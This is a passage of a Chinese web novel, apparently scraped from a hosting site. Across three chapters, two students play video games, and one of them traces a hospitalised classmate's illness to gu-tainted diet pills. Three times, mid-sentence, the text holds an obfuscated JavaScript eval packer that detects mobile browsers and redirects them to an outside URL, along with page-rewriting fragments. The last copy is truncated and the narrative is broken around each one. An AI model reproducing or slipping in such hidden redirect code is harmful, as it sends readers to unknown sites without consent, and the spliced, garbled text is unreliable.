“好了我不笑你了。”宁双赶紧岔开话题,“晚上我们吃柠檬鸡丝,还有咖喱鸡丁,炒一个土豆丝,然后煮一个排骨冬瓜汤,可以吗?” “都好。”季淮之点头。 宁双又关心问:“你身上的红疹消得怎么样了?给我看看呢?” 季淮之将衣袖慢慢挽起来,大概真是因为吃了治过敏的药,红疹已经退得差不多了,只留着小片小片的红,只是上面的抓痕还有两天才能完全消散。 “看来已经好得差不多了。”宁双帮季淮之将衣袖放下来盖住了手臂。 “谢谢你关心。”季淮之理好了衣袖,认真道谢说。 宁双手一摆:“这有什么。” 两人几乎是并着肩走的,雨伞将将把两个人的肩膀遮住。 “晚上应该遛不了狗了,我想想……”晚饭后还有那么长的时间得打发呢,要让两人各自回房间,宁双肯定是不愿意的,他就指望周末能好好了解一下季淮之这个人呢。 “打游戏吧。”季淮之突然说。 宁双:“啊?” “你教我玩游戏吧,我看你好像会玩。”季淮之犹记得他刚住到宁双家里的时候,宁双和他的朋友还一起玩了很久的游戏。 如果他也会玩游戏就好了。 “可以啊!”宁双没想到季淮之想让自己教他玩游戏,“那我们今晚就先去玩最简单的,让你熟悉一下手柄。” 季淮之:“可以玩你喜欢的,我能学会。” 他的学习能力从来就不弱,他想要学会的,只要认真看一遍,基本就能上手了,后面只需要再熟悉熟悉就基本没问题了。 不愧是专业第一上来的,宁双心里如是感慨,季淮之的语气是自信的,这种自信并不是浮于言表,而是从内自外散发,竟然格外地吸引人。 “好。”宁双答应说。 从茶馆到家也就十来分钟的距离。 到家后两人回房间换了衣服,宁双先换好衣服,季淮之从房间出来就听见宁双在厨房忙碌的声音了。 他主动走去厨房,问宁双是否有需要帮忙的地方。 宁双洗着菜,偏头看向身边的季淮之,他头发是随意地抓在一起系住的,散了好些碎发下来,站在厨房的灯光下,整个人看上去温和又孱弱。 宁双自己一个人没什么问题。 所以他拒绝说:“不用帮忙,这样吧,你现在可以去我房间里,我书桌的抽屉里有手柄说明书,你可以在我电脑里随便找一个单机游戏,试试熟悉一下手柄,晚上我教你玩我喜欢的游戏。” 季淮之耳朵动了一下,看他问:“我可以吗?” 宁双挥了挥手:“可以呀,你去吧。” 15.游戏 季淮之踟躇了一下,又问:“会不会不好?” 宁双觉得季淮之是担心会不小心看到自己隐私什么的,所以才这么犹豫,他赶紧说:“不会啊!你不用担心,我房间也没什么见不得人的东西,而且你又不是什么外人。” 该收好的东西都收好了,季淮之肯定不是翻箱倒柜的人,他当然不会觉得有什么的。 季淮之站在宁双身后,目光从他后颈的蝶状胎记扫过,唇角噙起一抹浅笑,他轻声应:“好。” 随后转身上了楼。 木质的楼梯发出了轻微的响声,季淮之一步一步上了楼。 推开宁双房间的门,扑面而来的是清新的洗衣粉味,宁双的房间很整洁干净,东西有些多,但每一个都摆在了该放的位置,并不乱。 季淮之转身关上房间门,走去了宁双的床边。 他床铺上的被褥叠得很整齐,床头柜上规规矩矩放着几本书,一盏台灯。 再往窗边看,有两个书桌,一个书桌上干干净净,书本摆得整齐,书桌上放着电脑,墙上贴着好些照片,宁双的个人照居多,但也有几张和朋友的。 只是些合照而已,这些都没关系的,宁双有很多的朋友才是宁双。 再看另一个书桌,很明显是电竞桌,桌前是两个电竞椅,桌上是一台台式电脑,两幅电竞键盘,两幅手柄……什么都是双人的。 宁双一个人肯定不至于给自己买双份的。 季淮之想起了他住进来的第一晚,和宁双一起睡觉的那个男生了。 他撩起眼皮,拿起了宁双放在桌上的手柄教程书。 他对这些确实没什么兴趣,但宁双看起来喜欢,所以他能去接触,也能去学会。 时间久了,宁双想找人玩游戏的话,第一个想起的人肯定就是自己了。 季淮之又走去窗边,拉开窗帘,走到了阳台。 他们换洗的衣服都是晾晒在二楼大阳台的,一些贴身的衣服才晾晒在自己房间外面的阳台,季淮之瞟了一眼,随即飞速收回目光。 他退回到了房里,重新拿起桌上的手柄教程书,坐到了宁双学习的书桌前,缓了缓才看开始看书上面的教程。 昨晚他亲眼看着宁双出的门,这不在他的预料之中,想来宁双急于去调查那里,也是因为他那个叫赵微凉的朋友。 宁双前脚到那里,他后脚就到了,他没打算这么早就让宁双知晓了自己身份,迫不得已给宁双用了蛊才去料理那些破事,就算宁双后来不问,他也知道宁双对自己有了疑心。 但是还好,只是疑心而已,时间久了,宁双就不会纠结这件事了。 季淮之简单将教程书过了一遍,勉强记住了上面的所有内容。 —— 外面的小雨渐渐下大了,伴随着电闪雷鸣,豆大的雨珠噼啪噼啪地往窗户上砸。 吃完晚饭,宁双就迫不及待叫季淮之去他房间,说要检查一下季淮之的自学成果。 看着季淮之操控着手柄,无伤通过了头两个关卡,宁双一脸不可思议地直摇头:“你真的是第一次玩手柄吗?” 季淮之看向宁双:“怎么了……我玩得不好吗?” “好!非常好!”宁双忍不住对他竖大拇指,“那太好了,上次第十六关,陆宇洋和我打了好几次也没过,没准今天你就陪我打过了呢。” 宁双将游戏关卡调到了最新关,又说:“都说新人有新人的运气,让我看看是不是真的。” 他们玩的是一款卷轴射击类的游戏,玩家通过跳跃,射击,匍匐等技能躲避敌人的攻击,一路往前打敌人,躲陷阱,玩家总共三条命,到最后打过BOSS还剩一人就算通关了。 这款游戏比较古早了,宁双也是今年才玩到。 前面配合了两把,季淮之都是第一个先把三条命消耗完的,第三把结束,季淮之放下了手柄,用一双充满歉意的眼睛看着宁双说:“宁双,我是不是和你配合得不好?” “你就玩得很厉害。”他又补充。 宁双耳朵一抖,只捕捉到了季淮之后面补充的那句话,他歪着脑袋看向季淮之追问:“我厉害?真的啊?” “嗯。”季淮之点头。 宁双又兴奋地打开了一局,很是高兴:“我真的玩得厉害呀?!那陆宇洋总说我拖他后腿,看来也不是因为我嘛!” 季淮之又伸手将手柄拿了起来,垂着长睫说:“怎么说起他了,他玩得很厉害吗?” 宁双没听出他语气中的低怨,顺势说:“他还好吧,一般般,不如我。” 而后又岔开话题:“不说他了,我们再来两把吧,没准就过了呢。” 后面再来了三局,在最后一次打到BOSS关卡的时候,宁双靠着半管血打过去了。 “过了!”宁双将手柄一扔,伸了个懒腰,仿佛是了了一桩什么大事,语气很是放松,“总算是过了。” “你第一次玩就和我配合得这么好,真厉害。”宁双还不忘夸奖了季淮之一句。 季淮之没回话,只偏头看着宁双。 虽和平时是差不多的清冷表情,宁双却看出来了,季淮之现在也有些开心。 他想了想,蹬掉拖鞋,曲起腿踩在了椅子上,然后抱着双膝,下巴枕在膝盖上,偏头看着季淮之,说:“以后我们有时间还一起玩游戏吧?” “好啊。”季淮之点头。 宁双哼着笑了两声,然后又从抽屉里拿了一颗水果糖塞到了季淮之手里,说:“吃颗糖,补补体力。” 季淮之摊开手掌,低头看着掌心的糖,随后握紧手抬头看着宁双:“谢谢。” “不用谢。”宁双笑了起来,突然想起了一件事,“对了,明天我可能不在家,本来还打算和你一起去附近公园完成我们俩的选修课课题的,但你们不是下一周就开始军训了吗?所以这一个月选修课都不会上了,我想着课题的事不急,就打算去学校帮忙处理一些学生会的事。” “好。”季淮之站起身,“那我不打扰你了,你早……” 话还没说完,窗外突然响起一声宛如山塌的巨雷,闪电给黑幕扯开了一道刺眼的口子,口子泄出的光照得整间屋子都亮堂了。 突如其来的动静把宁双吓得一哆嗦,他赶紧把脚从椅子上放下去,穿上拖鞋就跑向了阳台,“哎呀,我的衣服!” 没半分钟,宁双湿着脑袋和衣裳回来了,手上还拿着他的两三件短裤,连打了三个喷嚏。 他将手里的衣服扔在了床上,又从衣柜里拿了一条毛巾出来擦头发,感慨说:“好久没下这么大的雨了。” 季淮之目光从宁双的床上匆匆收回来看向他,外面的雨打湿了宁双的几缕额发,被他擦得打起了卷,头发乱糟糟的,多了些清隽感,季淮之盯着他的脸,一时有些恍惚。 看时候也不早了,宁双就对季淮之说:“你快回去睡觉吧,记得把空调打开睡觉,今晚估计有些冷。” “嗯。”季淮之跟着宁双出了门。 宁双亲自把他送回到了房间,随后一手扒着门框,侧边脸贴着门框,用一双明澈的杏眼看着季淮之,突然开口喊了对方的名字:“季淮之。” 季淮之:“嗯?” 宁双笑得一对梨涡都出来了,他抬起手挥了挥,语气轻快:“晚安。” 季淮之沉着的睫毛突然掀了起来,眼底多了几分明亮,好一会儿后才回话:“晚安。” 宁双这才转身回房间。 他走后,原地留下的清香好久才散却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15128510|163702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,季淮之摊开手,看着掌心躺着的那颗糖,眸光微动,唇角也翘了起来。 —— 这边宁双洗完澡回来,已经是晚上十一点了,他简单收拾了一下屋子就上了床。 这才有时间去问他们让自己明天去学生会帮忙的原因。 【纪检部-部长-楚羽:是宣传部那边一个学姐请假了,明天他们又正好要在学校发社团传单,缺人才让你来顶替的】 宁双倒是不反感他们强加这些琐事给自己,只是宣传部的人全勤向来是满的,而且就宁双知道的那几个学姐,更是一个比一个负责,所以说起学姐请假,宁双倒真想知道为什么了。 【宁双:请假?什么原因啊?】 【纪检部-部长-楚羽:说是减肥过度?贫血严重,现在还在医院躺着呢】 宁双懵了,对面一说过度减肥他就知道是谁了,明清柠学姐啊。 倒不是因为对方真的很胖,只是明清柠一直觉得自己胖,总是在宁双耳边念叨,也在到处问减肥的法子,现在却因为减肥过度住了院,宁双都给吓了一跳。 【宁双:她没事吧?】 【纪检部-部长-楚羽:不清楚】 【宁双:行吧……明天我会来帮忙的】 【宁双:医院有人陪着她吗?】 【纪检部-部长-楚羽:应该吧,我不清楚】 【宁双:好,行】 宁双结束了和他的聊天,在列表里翻到了明清柠学姐的微信,主动发了一句问候过去。 但直到第二天早上醒来,宁双也没有收到明清柠的回话。 宁双只当对方住着院,没来得及看手机,一时也没往心里去。 他起得早,特意做了早饭才离开,还在桌上给季淮之留了纸条。 在玄关处换好鞋,他回头看了看季淮之紧闭的房间门,才转身提着衣架上的挎包离开。 此时季淮之房间的窗帘被慢慢拉开,季淮之穿戴整齐地站在窗边,透过透明玻璃窗,居高临下地看着宁双走出门,往公交站的方向跑了去。 窗台上一只白鸟歪着脑袋“咕咕”叫了两声,季淮之看了它一眼,白鸟便扇着翅膀往宁双跑的方向飞走了。 —— 宣传部的事说多也多,说不多也不多,宁双真正忙活完已经是下午三点多了。 宣传部部长请喝咖啡,宁双和宣传部的人一起到了咖啡厅。 和几个学姐坐到了一桌。 “宁双,谢谢你啊,今天要不是你,我们现在还在忙活呢。”一个长发女生对宁双说。 宁双笑嘻嘻说:“没关系,就这么点小事,以后学姐们还需要我帮忙的地方,尽管找我就好了。” 宁双长得好看,说话也招人喜欢,几个人都被宁双的话逗笑了。 “哎,说起这事,宁双,我们一会儿喝完咖啡要去医院看看清柠,你去不去啊?”坐在他旁边的顾婷学姐突然开口。 毕竟宁双和明清柠彼此相熟也是人尽皆知的。 宁双想了一下,早上给明清柠发的消息,对面现在还没回消息,他还真是有些担心。 于是答应说:“那我也去看看吧。” “不过好端端的,她怎么减肥过度了?”明明宁双几天前看对方都还好好的。 顾婷说:“具体我们也不清楚,好像是和谁一起从哪里买了减肥药回去吃,效果确实挺好,但紧跟着也多了些毛病,具体还是要去医院看看才知道。” 在宁双记忆里,明清柠有一米六左右的身高,体重充其量也才一百四,在他看来,明清柠根本就不胖,也不知道谁给她灌输说她胖的这个思想。 “行吧,我也去,先看看到底什么情况。”宁双满眼担忧地点了下头。 16.猜忌 喝完咖啡,把工作剩下的尾巴处理了以后,宁双和几位学姐学长去学校超市买了一些水果篮和花束,然后坐上了去医院的出租车。 踏进医院,四起的凉意无孔不入,空气中全是消毒水和各种药的味道。 倒是不难闻。 加上宁双,去看明清柠的人一共有五个。 顾婷踮起脚尖,透过病房门前的玻璃往里面看了看,“屋子里好昏暗,没开灯,窗帘也没拉开。” “有人守着她吗?”宁双也凑过去往里面瞧。 “敲门试试。”有人提议。 于是宁双抬手敲了敲门。 没多久,病房的门被打开了,一个高马尾女生探出了脑袋,看见病房前的几人,眼睛一亮,“宁双?顾婷?还有你们?你们都是来看清柠的吗。” “嗯嗯,我们来看看清柠学姐,她现在怎么样了啊?”宁双点着头,压低了声音回话。 高马尾女生是明清柠的舍友,叫杨梦琪,与他们几个人也是相熟的。 “她现在睡着呢,中间醒了两次,吃完饭又睡了,医生也说没什么问题了,但她就是一直不舒服。”杨梦琪将病房门打开。 “先进来吧,进来说。” 宁双侧开身,让身后的人先走进去,最后他刚抬脚要跟进去,余光却瞥到一个鬼鬼祟祟的背影进了电梯。 宁双赶紧转身看向电梯口,但门也在那一刻彻底关上了。 在他所认识的人里面,那么高的人可不少见,只是对方戴着鸭舌帽,宽大的衣服遮住了身形,他一时分辨不出对面到底是谁。 “宁双,你怎么了?”杨梦琪见宁双一直站在门口不进去,忍不住主动开口发问。 “没事没事。”宁双随口接话,抬脚进了病房。 屋子里透着一股冷寒,空气中浮着消毒水的味道,但还掺杂着一种腐烂花瓣的稠腻甜味,有一种淡淡的腥气。 确实是很怪的味道。 而且房间窗帘紧闭,照明的东西竟然只是床头的一盏台灯,他们小心将带来的花和果篮放在了床头柜上。 借着床头的灯光,宁双勉强看清了床上躺着的病人。 明清柠看起来确实瘦了好多,脸上的肉不见了,颧骨也凸显出来了,呼吸时而急促时而缓慢,给宁双一种莫名的诡异感。 顾婷站起身左右看了看,起身就要去拉开窗帘,看出了她意图的杨梦琪赶紧叫住了她:“小婷!别拉开窗帘!” 吓得顾婷一下就把手缩了回去,那窗帘好似烫手的山芋,让她碰都不敢多碰一下了。 “怎么了?”一起来看望杨清柠的一个学长问。 杨梦琪叹气:“也不知道怎么了,清柠她住院后,就特别讨厌看到强光,外面的阳光不行,头顶的白炽灯不行,你看,连台灯的光都得这么微弱才可以。” “怎么了这是……”顾婷关心问,“是减肥药的问题吗?” “医生说怕光或许是药物过敏导致的,反正该做的检查都做了,没找出什么具体问题。”杨梦琪解释。 宁双听着他们的谈话,若有所思地看着床上熟睡的人。 “那怎么办?就这么一直病着也不是一回事啊……这两天有好一些吗?”跟来的另一个学姐薛雪皱着眉头关心问。 杨梦琪:“就是这个样子吧,要是再不好,就得叫她爸爸妈妈过来了。” “梦琪学姐,清柠学姐的减肥药还有吗?”宁双突然打断了她们的谈话,问道。 杨梦琪回头仰看他,颔首:“还有,但剩得不多了,我在想清柠这样,是不是因为吃太多减肥药了。” 宁双开启了他胡编乱造的能力:“能把剩的给我看看吗?我太爷爷是中医,我也懂一点医学上的东西。” 杨梦琪站起身,走去抽屉前翻了翻,翻出一个白色的小药瓶递给了宁双。 “医生之前也问了这个减肥药,所以我特意拿来给他们看了,医生拿去做了检查,说药好像也没什么问题,极大可能就是清柠的身体排斥这个减肥药。” 宁双接过药瓶,倒了声谢。 他先看了看瓶身,就大拇指大小的瓶子,上面什么标签也没有,典型的三无产品,摇晃了两下,里面传来的清脆动静显示这瓶药剩得不多了。 随后宁双又倒了两颗药在手心,凑近鼻尖闻了闻,神色突然滞愣了一下。 房间只有床头那一盏发着昏黄灯光的台灯照明,宁双又是背对着灯光的,几人都没发现他神色突然变得严肃了。 怎么感觉这里面……掺了他觉得熟悉的东西呢?宁双又使劲吸了吸鼻子。 苦药的味道还是很重的,可在这种苦味之中,好像还有一种蜜甜,花瓣糜烂的那种蜜甜,而且苦涩的那种苦味也很特殊,很像是一种苦草焚烧后的灰烬,苦甜交织,味道太上头了。 “怎么了宁双?你感觉有什么不对吗?”宁双许久不说话,几人的目光都落在了他身上,薛雪忍不住问他。 宁双将药装回了瓶子里,故作轻松说:“没什么,药确实没问题。” 他将药又递出去说:“所以可能真的是学姐的身体排斥这种药吧,听医生的,好好休息休息应该就会好了。” 杨梦琪点着头接过了宁双递来的药。 转头又和其他人聊起了别的。 此刻宁双脑子里蹦出了一个几近崩溃的小宁双,他抓着脑袋跪在地上,不能吧?不是吧?不对吧?怎么感觉又是在苗疆老家闻到过…… 在这里没待半个小时,几人也就一一告别了,宁双还是最后一个离开的,他回头对杨梦琪小声说:“学姐,明天我再来。” “好,再见宁双。”杨梦琪笑意加深。 离开医院后,宁双因为不住校,也就没有和他们一起拼车回去,等把他们都送上车离开了,他才打车回家。 坐上出租车后,宁双从裤子口袋里摸了摸,最后摸出了一枚白色的圆药片。 是刚刚在病房里看那个所谓的“减肥药”的时候,宁双趁大家没注意就随手顺的一颗。 捏着手里的药,宁双举起来在眼前仔细瞅了瞅。 看来要弄清楚这里面到底掺了什么东西,还是得回家把药化了仔细研究一下了。 到家是下午五点半了。 昨天下了大雨,今天上午太阳也不大,地上好些积水还没晒干,院子里的泥巴也是湿漉漉的,昨晚的狂风暴雨把院子里的花草折腾得东倒西歪的。 空气到现在还是湿哒哒的。 宁双开门回到了家里。 屋子里静悄悄的,宁双还在院子里的时候,宁敦敦就从狗窝里跑出来,又蹦又跳地跑到了门口,等他开门进来,宁敦敦就绕着宁双转圈:“呜汪!汪汪!” 宁敦敦兴奋得要命。 宁双蹲下去摸它的脑袋,目光在四处打量了一番,再看玄关鞋架上的鞋子,就知晓季淮之也不在家里。 只是新生现在学业不忙,社团也没什么事,加上明天就是军训了,季淮之应该不是去学校了吧…… “敦敦,今天好好吃饭了吗?”宁双站起身走到了宁敦敦的狗窝旁,看着剩得不多的狗粮和水,满意地摸了摸宁敦敦脑袋,夸奖说,“还算听话,今晚给你煮好吃的。” 好像是听懂了宁双的话,宁敦敦兴奋得在原地打起了转,舌头甩得老长了。 宁双摸出手机,翻到了季淮之的微信,主动发去消息:【我现在到家准备做饭了,你在哪儿啊?今晚回来吃晚饭吗?】 本来没指望季淮之能很快回消息的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15133757|163702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏偏宁双刚把消息发出去,他就看到了对方状态显示[对方正在输入中…]了。 不过半分钟,季淮之回了消息:【我在图书馆学习,今晚会回家吃饭的】 宁双抿着唇想了想:【你大概什么时候回家啊?】 【季淮之:现在,大概二十分钟到家】 【宁双:那你帮我借一本书回来吧,在外国名著那个区随便借一本就行,全英文的最好,我最近在准备四级呢!】 站在桥边打字的季淮之手一顿,随即抬头看向了前方,桥那头是大学城的夜市,这个点正是夜市开张的时间,来来往往有许多大学生,他们都来自附近不同的大学,很是热闹。 他知道,宁双这句话是怀疑,是试探。 季淮之也知道宁双今天去了哪里,见了哪些人,做了哪些事,就是怎么出去一趟又怀疑上自己了? 他唇角慢慢嵌起一分浅笑,这样不就代表宁双在关心,关注他吗? 他先回了宁双的消息:【好】 书么,自然是借不到的,他现在离学校二十多分钟,去借完书再回家,前后少说也是四十分钟起步。 何况宁双本来就是拿这个来试探他的,他并不介意宁双怀疑自己,相反,宁双应该无时无刻关注他,怀疑他,在暗地里调查他,才是最好的。 季淮之走去街边书摊前看了看,选了一本崭新的《傲慢与偏见》。 图书馆的书是有借书编号的,季淮之自然是有更好的借口去应付。 —— 宁双刚把炒好的炒菜盛出锅端在桌子上,玄关就传来了敲门的声音。 他将手上的水渍擦在了围裙上,匆匆上前打开了门。 季淮之就站在门口,他今天穿着一件蓝色衬衫,外面搭配一件黑色针织马甲,下面穿着修身的黑色宽松长裤,长发和马甲摩擦,起了静电,粘了不少在衣服上面,鬓边散下的长发发丝被风轻轻地撩动着。 宁双吸了口气,心脏砰砰跳个不停。 他赶紧往后退半步,侧开身给季淮之让开了路,“你回来啦?” 季淮之点头:“嗯,抱歉,晚饭我没有帮什么忙。” 宁双非常善解人意地说:“没关系,反正你是在学习嘛!” 他说完又去厨房将最后一道排骨汤盛在碗里,端出厨房放在了餐桌上。 季淮之就从厨房拿出了两人吃饭的碗筷和盛汤的汤勺。 “先吃饭吧。”宁双中午没吃多少,下午只喝了一杯咖啡,现在早就饿了。 季淮之将长筷递给了宁双。 扒了两口饭,宁双突然抬头问:“那个,你给我借了什么书啊?” 季淮之夹菜的动作顿住,他将筷子放下,起身去衣帽架前,从挂在上面的包里拿出一本崭新的书递给了宁双。 宁双看着书塑封都还没拆的书,愣了愣。 季淮之冷静解释:“你说你是为了学习四级用的,我想着图书馆的书不适合在上面做标记,就买了一本新的书给你,你可以随意使用它,也不用担心到时间得归还它。” 宁双眸珠慢慢放大,很惊喜季淮之的这一番话和这些考量,“你考虑得好周全呀,谢谢你,季淮之!” “不用谢。”季淮之抿着笑唇应,随后又问,“你今天下午不在学校吗?” “嗯,对。”宁双点头,如实道,“我一个学姐生病了,我和朋友们去医院看她了。” 季淮之垂睫,轻嗯了一声,有时候宁双说实话他也不是那么开心,宁双总有那么多的朋友,数不清,数不清…… 宁双将书放在桌边,摁开手机看了一眼,随后掀起眼皮看向季淮之,说:“一会儿我要出去遛宁敦敦,你要一起吗?” “好。”季淮之没有拒绝。 17.苦草 吃完饭是晚上七点多了。 宁双上楼拿了一件外套,又给宁敦敦穿上了衣服,两人一狗才走出去。 宁敦敦一离开家就活力四射,恨不得挣脱宁双手里的牵引绳,自己跑出去撒欢。 晚风瑟瑟,树叶被吹落,清新的空气中还掺着泥土和青草的芳香。 两人并着肩走,宁双拢了一下外套,主动开口说:“明天你就要军训了。” “军训服洗过了吗?”他关心问。 季淮之:“嗯。” “那就行,反正也就是一个月,最后一周的时候就不会那么严格了,而且我是你们班助,你们教官又和我认识,所以不会让你们太累的。”宁双低头踩着脚下的白色直线,慢慢说着。 他们学校的教官就是学校国旗队的,每年军训都是由大二学生带,军训结束前在连队里找出合适的新生招进国旗队培训,等第二年带新生,就这样重复。 所以他们的教官是大二年级的,宁双和他们认识也不奇怪。 “好。”季淮之接话。 “而且军训两周后,你们还会去附近的森林露营,增加野外实践经验,还是挺有意思的。”宁双想起自己大一军训的时候了,那时候也不算特别冷,大家在一起煮泡面,挖野菜……这些记忆仿佛就在昨天。 “你也会去吗?”季淮之突然问。 宁双偏头看着他,笑着点头说:“会呀,我可是你们的班助,至少得等到你们军训结束,期中考后选出了班委,我的工作才算完成了。” “总之,你不要担心啦!我们学校的军训还是很人性化的!” “好。”季淮之又只回了一个简短的字。 牵着宁敦敦从另一条路走出公园,地铁站门口有一位阿姨正在卖关东煮,宁双老远就闻到了味道。 更不用说宁敦敦了,它后腿一蹬,拽着宁双就跑到了摊位面前,“汪汪汪!” 它夹着嗓子叫唤着。 宁双弯腰握住了宁敦敦的嘴巴,然后压低声音教训它:“不要吓到别人了。” “呜——”宁敦敦立刻发出了委屈的鼻音。 “没关系,我家也养了小狗,我不怕狗。”阿姨微笑着说,她的声音很慈和,亲人。 季淮之跟着宁双走到了摊位前,他问宁双:“你要吃吗?” “买点吧!我也好久没吃了,等会儿给宁敦敦也吃点。”宁双将宁敦敦夹在了自己双腿.间,准备将阿姨递过来的一次性纸杯接过去,身边季淮之却更快伸手拿了过去。 “我拿着,你来选吧。”季淮之说。 考虑到自己还要腾出一只手来牵制住宁敦敦,宁双就点了头:“也行。” 两人肩挨着肩,宁双拿了几串自己爱吃的菜品装在了纸杯里,“你也选一些你爱吃的,我请你。” 季淮之看着纸杯里宁双选的几串菜品,照模照样地也拿了一模一样的过来。 宁双没在意,付钱的时候又给阿姨比了一个剪刀的手势,说:“阿姨,再装两个福袋,多舀一些汤。” “好。”阿姨一顿操作,“一共三十六元。” “好的好的。”宁双微信付了钱。 转身从季淮之端着的纸杯里面拿了一串火腿和牛丸出来,蹲下去喂给了宁敦敦。 “你也快趁热尝尝。”喂完宁敦敦,宁双起身发现季淮之一口没吃,只低头静静看着他和宁敦敦,宁双赶紧开口说话。 “好。”季淮之将纸杯往前送了一些,宁双在里面拿了一串蘑菇往嘴里塞。 “蘑菇好吃!”宁双被烫得直哈气,眼泪都挤出来了。 季淮之被逗乐了,默默从口袋里摸出了一叠手帕给他,宁双赶紧接过擦了擦眼泪,“谢谢。” 他擦完就递给了季淮之,季淮之看了一眼,说:“你先用着吧。” 宁双正愁没带纸巾,顺手就将手帕揣进了口袋里面,“那我回去洗干净了给你。” 他目光忍不住在季淮之脸上多停留了一会儿,季淮之不是喜怒言于表的人,宁双也只能靠猜去判断季淮之是高兴还是不高兴,不像现在,是真心实意地在笑。 两人慢慢往家的方向走了去,季淮之不是很喜欢吃这些东西,只吃了一点素的,剩的全都进了宁双和宁敦敦的肚子。 到家后不久,宁双就和季淮之道晚安回了房间。 宁双用纸杯接了一杯温水回房间,锁上房门后,他将书桌腾空了出来,从抽屉里拿出了从医院里面顺出来减肥药,放进了纸杯里面。 不过多久,药片开始分解,融化。 水表面浮出了一种白色的磷光粉末,宁双拿小刀舀了一点出来,仔细看了看,随后又拿指尖捻了捻,凑近鼻尖闻了一下。 先前闻的时候有很多药的苦香,现在或许是融化在水里了,单闻这种浮状物,其中若有若无的苦味更加明显了,就是一种苦草烧成的灰烬的味道,苗疆大多苦草燃烧后的灰烬都是纯白色的,所以掺在这种药片里也不易察觉。 到底是什么呢…… 到了如今这一步,宁双即便再不想承认,也知道明清柠学姐住院这件事和蛊是脱不了关系的,可是怎么会和蛊有关呢? 宁双又凑近粉末闻了一下,他确定这是老家种植的一种苦草的灰烬,苦草分很多种,大多数都只能适量地用,稍微用过量就会出问题,而且每种苦草带来的效果也不同。 他只知道明清柠瘦了,然后畏光,至于有没有其他的症状,宁双今天也没看得仔细,只能明天再去医院看看,然后对症下药了。 “唉……”宁双叹了一口气。 他并不想管和苗疆有关的那些破事,但偏偏这件事又和他认识的朋友扯上了关系,让他不得不去插手。 不过减肥药应该是网上买的吧?难道是学校有人在偷卖吗?宁双皱着眉想了一会儿,给杨梦琪发了消息过去:【学姐,我想问一下清柠学姐的减肥药是在哪里买的啊?】 没多久,杨梦琪回了消息:【就是在大学城夜市,她也是听说那里有人卖什么减肥药,增肌药,体力药,美颜药啥的,说是效果很好才去买的】 这不三无产品吗?吃出问题了不怕被警察抓?咋这么大胆?或者说那人是有什么手段可以瞒过去? 不过一听说卖家是在校外,宁双也松了一口气,还好不是在学校,那要是真的闹大了,应该不至于调查到他们学校来,自然也不会牵连到自己。 其实当年禁蛊这条改革下来后,宁双就知道了其中的危害。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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下一秒,她猛地张大了眼睛,在她的视野里,白色的床单此刻被鲜血染红了大片,明清柠偏着脑袋,张着大眼紧紧盯着杨梦琪。 不一会—— “医生!医生!”杨梦琪跑出了病房,整条走廊的感应灯都亮了。 …… 晚上一点多,宁双被手机铃声吵醒。 他在枕下摸了半天,拿到手机后看也没看就接下了电话。 “喂,你好。”宁双闭着眼睛,含糊问好。 电话那头没说话,只是女孩子抽泣的声音,宁双一下就清醒了,赶紧坐起身看了一眼备注,是杨梦琪的。 “学姐?怎么了?是清柠学姐出什么事了吗?”宁双赶紧问。 杨梦琪抽泣着,磕磕绊绊说:“宁双,你,你现在可以来医院吗?清柠的病突然加重了。” “我已经联系了清柠的父母,他们正在赶来的……飞机上,大概明天早上才会到。”杨梦琪不知道该联系谁了,想到宁双离开前说还会再来看明清柠的,只好先给宁双打去电话说这件事。 宁双赶紧翻身下床,温声安抚对方:“我现在就过来,你先别急,对了,先不要联系其他人来医院了,人来太多了也不好。” “好,我就联系了你和她的父母。”杨梦琪擦掉了眼泪,看向了病床,医生过来给明清柠打了一支镇定剂,现在她已经熟睡过去了,手臂上的抓痕也包扎好了,刚刚发生的一切仿佛就像是自己的一个梦。 宁双挂了电话,匆忙找了一套衣服换上,然后从衣柜底下的柜子里拿出了好几瓶解蛊的药,这些都是针对苦草的解蛊药,如果能弄清楚明清柠中的是哪种蛊,就可以对症下药了。